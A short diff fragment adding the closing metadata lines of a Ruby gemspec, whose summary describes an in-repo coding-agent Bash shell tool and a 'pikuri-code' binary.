|
82
|
+
requirements: []
|
|
83
|
+
rubygems_version: 3.5.22
|
|
84
|
+
signing_key:
|
|
85
|
+
specification_version: 4
|
|
86
|
+
summary: In-repo coding-agent shell tool (Bash) + pikuri-code binary.
|
|
87
|
+
test_files: []
|